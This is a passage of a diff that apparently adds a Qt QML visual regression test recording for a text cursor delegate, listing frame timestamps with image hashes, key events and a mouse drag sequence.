+ Frame { + msec: 4576 + hash: "67fc71c16d0b9405c35590bafdc5ea40" + } + Key { + type: 6 + key: 16777233 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 4592 + hash: "7aed794eae2f0c65342f190ed4d4f889" + } + Frame { + msec: 4608 + hash: "23edee3af8f1904558863d37c520555a" + } + Frame { + msec: 4624 + hash: "2f9ed13e8a0d0edf098b05db02c04bdf" + } + Key { + type: 7 + key: 16777233 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 4640 + hash: "86ed2aa2428feb9c6c14ad2a74e97978" + } + Frame { + msec: 4656 + hash: "e189dc0dae9457a6af5082c6ccf451b6" + } + Frame { + msec: 4672 + hash: "62d4bfa65bfdc50d24d9204f4df7bad8" + } + Frame { + msec: 4688 + hash: "5a11ec8a0485a018ebe317e01136e4a5" + } + Frame { + msec: 4704 + hash: "9aa569f7b251371bdd1cb05c8d3aab28" + } + Frame { + msec: 4720 + hash: "a242c9d5ed7f9aef0a0622dcb66d0a7e" + } + Frame { + msec: 4736 + hash: "a0cb3f796fddf7100ca19aee3dedbea8" + } + Frame { + msec: 4752 + hash: "b4e273b6415e3951eab2f831100b0bb2" + } + Frame { + msec: 4768 + hash: "fd3fd655785c4e3c470f742451e3470f" + } + Frame { + msec: 4784 + hash: "7a9b2057760e48d5f9cfdc79b08866d8" + } + Frame { + msec: 4800 + image: "cursorDelegate.4.png" + } + Frame { + msec: 4816 + hash: "c6c90915393fc7cb0aaa464caefbadb0" + } + Frame { + msec: 4832 + hash: "36b65658073ac2687dbd88ec7a408a98" + } + Frame { + msec: 4848 + hash: "84e165f9f2c55c5c51a260b11ca195c2" + } + Frame { + msec: 4864 + hash: "c11cfcfda6f161d058a3d9e93349b578" + } + Frame { + msec: 4880 + hash: "0568f8c0e1fa51b7547790a7f4978ea3" + } + Frame { + msec: 4896 + hash: "b66fd97ac36ac395df74e9a0dd58d0c7" + } + Frame { + msec: 4912 + hash: "31b5b3d68e452ffd90e9804ff9e9a264" + } + Frame { + msec: 4928 + hash: "3cc8791e419986e1e913d4e153243fb2" + } + Frame { + msec: 4944 + hash: "ff1b3ce85bc9f3dd3feb90fa31c3bc0a" + } + Frame { + msec: 4960 + hash: "d3ae969e538c642d82662d08ef05964e" + } + Frame { + msec: 4976 + hash: "e3948b393a3778066a90197b31c71e51" + } + Frame { + msec: 4992 + hash: "e3948b393a3778066a90197b31c71e51" + } + Frame { + msec: 5008 + hash: "e3948b393a3778066a90197b31c71e51" + } + Frame { + msec: 5024 + hash: "e3948b393a3778066a90197b31c71e51" + } + Frame { + msec: 5040 + hash: "e3948b393a3778066a90197b31c71e51" + } + Frame { + msec: 5056 + hash: "e3948b393a3778066a90197b31c71e51" + } + Frame { + msec: 5072 + hash: "d3ae969e538c642d82662d08ef05964e" + } + Frame { + msec: 5088 + hash: "ff1b3ce85bc9f3dd3feb90fa31c3bc0a" + } + Frame { + msec: 5104 + hash: "3cc8791e419986e1e913d4e153243fb2" + } + Frame { + msec: 5120 + hash: "31b5b3d68e452ffd90e9804ff9e9a264" + } + Frame { + msec: 5136 + hash: "b66fd97ac36ac395df74e9a0dd58d0c7" + } + Frame { + msec: 5152 + hash: "0568f8c0e1fa51b7547790a7f4978ea3" + } + Frame { + msec: 5168 + hash: "c11cfcfda6f161d058a3d9e93349b578" + } + Frame { + msec: 5184 + hash: "84e165f9f2c55c5c51a260b11ca195c2" + } + Frame { + msec: 5200 + hash: "36b65658073ac2687dbd88ec7a408a98" + } + Frame { + msec: 5216 + hash: "c6c90915393fc7cb0aaa464caefbadb0" + } + Frame { + msec: 5232 + hash: "2a55b52db02d97963d382c9862307384" + } + Frame { + msec: 5248 + hash: "7a9b2057760e48d5f9cfdc79b08866d8" + } + Frame { + msec: 5264 + hash: "fd3fd655785c4e3c470f742451e3470f" + } + Frame { + msec: 5280 + hash: "b4e273b6415e3951eab2f831100b0bb2" + } + Frame { + msec: 5296 + hash: "a0cb3f796fddf7100ca19aee3dedbea8" + } + Frame { + msec: 5312 + hash: "a242c9d5ed7f9aef0a0622dcb66d0a7e" + } + Frame { + msec: 5328 + hash: "9aa569f7b251371bdd1cb05c8d3aab28" + } + Frame { + msec: 5344 + hash: "5a11ec8a0485a018ebe317e01136e4a5" + } + Frame { + msec: 5360 + hash: "62d4bfa65bfdc50d24d9204f4df7bad8" + } + Frame { + msec: 5376 + hash: "e189dc0dae9457a6af5082c6ccf451b6" + } + Frame { + msec: 5392 + hash: "86ed2aa2428feb9c6c14ad2a74e97978" + } + Frame { + msec: 5408 + hash: "2f9ed13e8a0d0edf098b05db02c04bdf" + } + Frame { + msec: 5424 + hash: "23edee3af8f1904558863d37c520555a" + } + Frame { + msec: 5440 + hash: "7aed794eae2f0c65342f190ed4d4f889" + } + Frame { + msec: 5456 + hash: "0fa12b48c08266f50e77506e4136dd56" + } + Frame { + msec: 5472 + hash: "679ee2b26a118ab53a84fa116de09edf" + } + Frame { + msec: 5488 + hash: "b9dcdd88fba70636cbcae160edcc0136" + } + Frame { + msec: 5504 + hash: "90af75eeef63ae67e9f6ff1a61d7cca3" + } + Frame { + msec: 5520 + hash: "29d80ae32451c24b655c4d1fd01d3aa1" + } + Frame { + msec: 5536 + hash: "c73fe137644cbc006d0b5274b72faa46" + } + Frame { + msec: 5552 + hash: "8a4d76ae60f5d720a382cced2f6a2b5e" + } + Frame { + msec: 5568 + hash: "a1efa0d424d568d338c6db9fc095c2fb" + } + Frame { + msec: 5584 + hash: "205cafcabb29b78a6db3dcaf44a74ab6" + } + Frame { + msec: 5600 + hash: "7507a3d2158d4cc68454c85922526871" + } + Frame { + msec: 5616 + hash: "7135a6a7999e82cb81e39228805332ee" + } + Frame { + msec: 5632 + hash: "ac2b714b5f32d2b911f31690d7082dc1" + } + Frame { + msec: 5648 + hash: "5cb1ae6d86aafdf11284480c81b939dc" + } + Frame { + msec: 5664 + hash: "ac705840cc94eb4af7a52d62649d0157" + } + Frame { + msec: 5680 + hash: "8c2ebcd80e26ac7b9d25be486f54c4ce" + } + Frame { + msec: 5696 + hash: "12b84aa02dbbab3592d3eb3cb6884b41" + } + Frame { + msec: 5712 + hash: "675043ddde6ed65a3ec4ed093be1e760" + } + Frame { + msec: 5728 + hash: "478126aeef5ddae9c0a77d08294cf3f2" + } + Frame { + msec: 5744 + hash: "0b43af73d91a500ccdf27b4347b9bc47" + } + Frame { + msec: 5760 + image: "cursorDelegate.5.png" + } + Frame { + msec: 5776 + hash: "a6d8708d08bedf0cab5230d6f2936936" + } + Frame { + msec: 5792 + hash: "02e0646024aeef6f01b7541b15267baa" + } + Frame { + msec: 5808 + hash: "da6717c94b46ad7a647c445c06314b0d" + } + Frame { + msec: 5824 + hash: "2ed12d49d72884160ebbf6b6d0e15a9d" + } + Frame { + msec: 5840 + hash: "a1fbc3333b7f742a8336a6fcbad156c9" + } + Frame { + msec: 5856 + hash: "25cac33299d58cdd7775e8b75410085e" + } + Frame { + msec: 5872 + hash: "5d81833eb342f632945c0571e18cb1f9" + } + Frame { + msec: 5888 + hash: "23f6f2a7d971494af43a0fb97dbf8fb5" + } + Frame { + msec: 5904 + hash: "216b70d02a4685dc07258454bb4e7c85" + } + Frame { + msec: 5920 + hash: "1e06742af58d6e63facdc599c46e11b1" + } + Frame { + msec: 5936 + hash: "00f8ac72d3794ed8d66db987402ecde0" + } + Frame { + msec: 5952 + hash: "42ab5f162acba94f563823f5be1e37d2" + } + Frame { + msec: 5968 + hash: "3272b97fdc54eb9f3590e7bbe4ac457d" + } + Frame { + msec: 5984 + hash: "e3948b393a3778066a90197b31c71e51" + } + Frame { + msec: 6000 + hash: "e3948b393a3778066a90197b31c71e51" + } + Frame { + msec: 6016 + hash: "e3948b393a3778066a90197b31c71e51" + } + Frame { + msec: 6032 + hash: "e3948b393a3778066a90197b31c71e51" + } + Frame { + msec: 6048 + hash: "e3948b393a3778066a90197b31c71e51" + } + Frame { + msec: 6064 + hash: "3272b97fdc54eb9f3590e7bbe4ac457d" + } + Frame { + msec: 6080 + hash: "42ab5f162acba94f563823f5be1e37d2" + } + Frame { + msec: 6096 + hash: "00f8ac72d3794ed8d66db987402ecde0" + } + Frame { + msec: 6112 + hash: "1e06742af58d6e63facdc599c46e11b1" + } + Frame { + msec: 6128 + hash: "216b70d02a4685dc07258454bb4e7c85" + } + Frame { + msec: 6144 + hash: "23f6f2a7d971494af43a0fb97dbf8fb5" + } + Frame { + msec: 6160 + hash: "5d81833eb342f632945c0571e18cb1f9" + } + Frame { + msec: 6176 + hash: "25cac33299d58cdd7775e8b75410085e" + } + Frame { + msec: 6192 + hash: "a1fbc3333b7f742a8336a6fcbad156c9" + } + Frame { + msec: 6208 + hash: "2ed12d49d72884160ebbf6b6d0e15a9d" + } + Frame { + msec: 6224 + hash: "da6717c94b46ad7a647c445c06314b0d" + } + Frame { + msec: 6240 + hash: "02e0646024aeef6f01b7541b15267baa" + } + Frame { + msec: 6256 + hash: "a6d8708d08bedf0cab5230d6f2936936" + } + Frame { + msec: 6272 + hash: "68d459091a85f24ece39a207e395039b" + } + Frame { + msec: 6288 + hash: "0b43af73d91a500ccdf27b4347b9bc47" + } + Frame { + msec: 6304 + hash: "478126aeef5ddae9c0a77d08294cf3f2" + } + Frame { + msec: 6320 + hash: "675043ddde6ed65a3ec4ed093be1e760" + } + Frame { + msec: 6336 + hash: "12b84aa02dbbab3592d3eb3cb6884b41" + } + Frame { + msec: 6352 + hash: "8c2ebcd80e26ac7b9d25be486f54c4ce" + } + Frame { + msec: 6368 + hash: "ac705840cc94eb4af7a52d62649d0157" + } + Frame { + msec: 6384 + hash: "5cb1ae6d86aafdf11284480c81b939dc" + } + Frame { + msec: 6400 + hash: "ac2b714b5f32d2b911f31690d7082dc1" + } + Frame { + msec: 6416 + hash: "7135a6a7999e82cb81e39228805332ee" + } + Frame { + msec: 6432 + hash: "7507a3d2158d4cc68454c85922526871" + } + Frame { + msec: 6448 + hash: "205cafcabb29b78a6db3dcaf44a74ab6" + } + Frame { + msec: 6464 + hash: "a1efa0d424d568d338c6db9fc095c2fb" + } + Frame { + msec: 6480 + hash: "8a4d76ae60f5d720a382cced2f6a2b5e" + } + Frame { + msec: 6496 + hash: "c73fe137644cbc006d0b5274b72faa46" + } + Frame { + msec: 6512 + hash: "29d80ae32451c24b655c4d1fd01d3aa1" + } + Frame { + msec: 6528 + hash: "90af75eeef63ae67e9f6ff1a61d7cca3" + } + Frame { + msec: 6544 + hash: "b9dcdd88fba70636cbcae160edcc0136" + } + Frame { + msec: 6560 + hash: "679ee2b26a118ab53a84fa116de09edf" + } + Frame { + msec: 6576 + hash: "0fa12b48c08266f50e77506e4136dd56" + } + Frame { + msec: 6592 + hash: "7aed794eae2f0c65342f190ed4d4f889" + } + Frame { + msec: 6608 + hash: "23edee3af8f1904558863d37c520555a" + } + Frame { + msec: 6624 + hash: "2f9ed13e8a0d0edf098b05db02c04bdf" + } + Frame { + msec: 6640 + hash: "86ed2aa2428feb9c6c14ad2a74e97978" + } + Frame { + msec: 6656 + hash: "e189dc0dae9457a6af5082c6ccf451b6" + } + Frame { + msec: 6672 + hash: "62d4bfa65bfdc50d24d9204f4df7bad8" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 271; y: 89 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6688 + hash: "680f51f63c4b11a247a668eb7bbd2b62" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 271; y: 92 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6704 + hash: "7640c78a286b0b7bdf2ec9117ceced4a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 271; y: 95 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 270; y: 99 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6720 + image: "cursorDelegate.6.png" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 269; y: 103 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6736 + hash: "bfc1b03df244839a012e8302dc07764f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 268; y: 107 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6752 + hash: "de09380dd57c58ae99fbdba169a19975" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 266; y: 114 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6768 + hash: "54f7f94b5cdf1becb2ee61d7f6f02c0e" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 266; y: 117 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6784 + hash: "4220dde85eb1c027366efd0798927e8d" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 265; y: 117 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6800 + hash: "512b9746ae4482557b8cef9f99905954" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 263; y: 118 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 261; y: 118 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6816 + hash: "e7346d8f223684143a0940def878b874" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 259; y: 118 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6832 + hash: "7e7382302681cd29a2c6959a3a704660" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 256; y: 118 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6848 + hash: "ef8f7dfdd4e70100ecaecca4055d8f52" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 250; y: 118 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 243; y: 118 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6864 + hash: "f5cacabb78b88c31af1a1b1e6f60069b" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 235; y: 119 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6880 + hash: "b016ef2306b0a721df86b6916e7953e4" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 227; y: 121 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6896 + hash: "a78e9b0b93569b77b0659c771336971a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 218; y: 124 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 209; y: 126 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6912 + hash: "b957ab07bcbaeffca963d9148130a965" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 200; y: 126 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6928 + hash: "140bc4b078bac52d6903bdfdfc35a94c" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 190; y: 127 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6944 + hash: "047c3a7403ae88cceb7fc875793d1ed8" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 181; y: 127 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 172; y: 127 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6960 + hash: "03d48446aaf94450a3a9a8f1e956493f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 163; y: 127 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6976 + hash: "6672e47aa6a975fbd82d2fe5bc99bbaf" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 154; y: 126 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6992 + hash: "3bc73489d06e446d4c96117756a59227" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 146; y: 124 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 138; y: 121 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7008 + hash: "aed995a61df4a1c189ef2962000d02de" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 130; y: 119 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7024 + hash: "aed995a61df4a1c189ef2962000d02de" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 123; y: 118 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7040 + hash: "74f0bbe92a23146fbdbd365edd5741c8" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 118; y: 118 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 114; y: 118 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7056 + hash: "74f0bbe92a23146fbdbd365edd5741c8" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 110; y: 118 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7072 + hash: "6456208c6367687b8dc701791eccd7d4" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 108; y: 117 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7088 + hash: "376b59dc6e00a51bc9f2d4cfa2718e57" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 107; y: 117 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 106; y: 117 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7104 + hash: "fb7bc3401f70ce6eee131c9c7510e1fe" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 105; y: 117 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7120 + hash: "675a419f0cd8351d6b2a65daf7d2707a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 104; y: 117 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7136 + hash: "2f7951abac64e0f10d3b66d04966b6e9" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 103; y: 117 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 102; y: 118 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7152 + hash: "1f8daa78c58ae11ec105bd87681c1762" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 101; y: 118 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7168 + hash: "23ab196ed43219c26d94431698f6ac8d" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 100; y: 118 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7184 + hash: "9581e2695f4818e063ec032cb5bb6b7f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 100; y: 119 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 100; y: 119 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7200 + hash: "6752cd7c5383e0ccc9b08f79db6ac310" + } + Frame { + msec: 7216 + hash: "51f5675e0fb1410c5a8ec03a86b42681" + } + Frame { + msec: 7232 + hash: "c3c23213b2649b5ccabd8e420a251e00" + } + Frame { + msec: 7248 + hash: "02ceab31171fe983a10e862b53aea16f" + } + Frame { + msec: 7264 + hash: "8a774dda9a1bc16bd270724e570daf20" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 100; y: 119 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7280 + hash: "2b6b892cebfcce14a9db485fecf16703" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 101; y: 119 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7296 + hash: "8b8e6d3362f018cbd9b487f03cfb7a22" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 101; y: 119 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7312 + hash: "a8477a9429633384073618cc60841e6c" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 102; y: 119 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 102; y: 119 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7328 + hash: "59558c6665b73f02809259e039b4423a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 103; y: 119 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7344 + hash: "93540071bab8a970a929d209f628970e" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 104; y: 119 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 105; y: 119 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7360 + hash: "78cdb0a05583150ea33040d32d95de47" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 107; y: 119 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7376 + hash: "4b1ee34985d3f5b8dd4355678ad39af4" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 110; y: 119 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7392 + hash: "5484e7699c388eabf0311de49706397f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 113; y: 119 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 117; y: 118 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7408 + hash: "dee6c2380f398323002ebb43a38d27e8" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 124; y: 118 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7424 + hash: "d66a27728e7fd3c616842613a034c5a0" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 131; y: 118 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7440 + hash: "5f851161f99fcf5b67cbe008a3faf411" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 138; y: 118 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 144; y: 118 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7456 + hash: "013e949285cfa9edb34ab14e26753230" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 148; y: 118 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 152; y: 117 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7472 + hash: "5b50acdcbd49969bcce2cfab6f9af380" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 155; y: 117 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7488 + hash: "d4aeb24211007cfc01512d289ae7aa01" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 157; y: 116 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7504 + hash: "6f1b7e12bbf54586e9a48989145f3274" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 159; y: 116 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 162; y: 116 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7520 + hash: "0e09c7468bc03770c6cc7f0fba1ee9c0" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 163; y: 116 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7536 + hash: "0fc4522bbf1a2e72002eb0a3c7224e1f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 165; y: 116 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7552 + hash: "91727292aaa314bf263c618a577b7f74" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 166; y: 116 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 168; y: 116 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7568 + hash: "a78fb2545d11c521a50a10fd2d1700a7" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 171; y: 116 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7584 + hash: "c207a291b47628921125acd4b8ed5ea8" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 174; y: 116 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7600 + hash: "9a8e3df504ba36e82c51d71a3f5ce268" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 177; y: 116 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 183; y: 117 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7616 + hash: "8cd9da94db91da50ae457d41866a32ba" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 188; y: 118 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7632 + hash: "9e52b6fdc3ce4ad9c5986e47ffa762fc" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 193; y: 118 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7648 + hash: "a1aff55bffb76bd4e2ac9ee482a03978" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 198; y: 119 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 206; y: 119 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7664 + hash: "ba52431b72683cfbf0cc795a2407630e" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 209; y: 119 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7680 + image: "cursorDelegate.7.png" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 211; y: 119 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7696 + hash: "eb5a19fbfbdceef233ed3c86c782817c" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 212; y: 119 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 212; y: 118 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7712 + hash: "7c8f3f2e96fa6a63867cb716061c8c77" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 213; y: 118 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7728 + hash: "96b0007f857aa19b41d184a7c7931f69" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 214; y: 118 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7744 + hash: "96201712b9ffbd9bfbebb5a5b7e23aba" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 215; y: 118 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7760 + hash: "d75e13a7715d5c329a47fdb818dfdbe5" + } + Frame { + msec: 7776 + hash: "c8fa0c2d9e6aa1f3a33e76a31534359d" + } + Frame { + msec: 7792 + hash: "03b11cc517f84c58a681906fdda98347" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 215; y: 118 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 215; y: 118 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7808 + hash: "74cdf8af5d56216ad422951a56661536" + } + Frame { + msec: 7824 + hash: "fcac2575aad872eada547508f312f09c" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 216; y: 118 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7840 + hash: "7d76aec1f29d2d6745585be8ef113be5" + } + Frame { + msec: 7856 + hash: "2b4fe4f39433671a9bc440efa1c589a8" + } + Frame { + msec: 7872 + hash: "55a166f920e76173e14121d848a11aa0" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 216; y: 117 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7888 + hash: "f764df8ecd68161d3529800e922254f4" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 216; y: 116 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7904 + hash: "749caf21947e915b163f72e6fd190032" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 216; y: 116 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7920 + hash: "c350910df8ae4fea573a20d334fd3401" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 217; y: 116 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7936 + hash: "d177da450f1d380a6d2406e2393b9582" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 218; y: 115 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 218; y: 115 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7952 + hash: "bf3da78d7cac19daf2d5150b77840b1e" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 219; y: 114 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7968 + hash: "22e337b0b81b18045a205355da6981ad" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 220; y: 114 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7984 + hash: "66c66927d2fc590fc43c146a403c1ccb" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 221; y: 114 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 222; y: 113 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8000 + hash: "66c66927d2fc590fc43c146a403c1ccb" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 222; y: 113 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8016 + hash: "66c66927d2fc590fc43c146a403c1ccb" + } + Frame { + msec: 8032 + hash: "66c66927d2fc590fc43c146a403c1ccb" + } + Frame { + msec: 8048 + hash: "66c66927d2fc590fc43c146a403c1ccb" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 222; y: 114 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8064 + hash: "22e337b0b81b18045a205355da6981ad" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 222; y: 114 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8080 + hash: 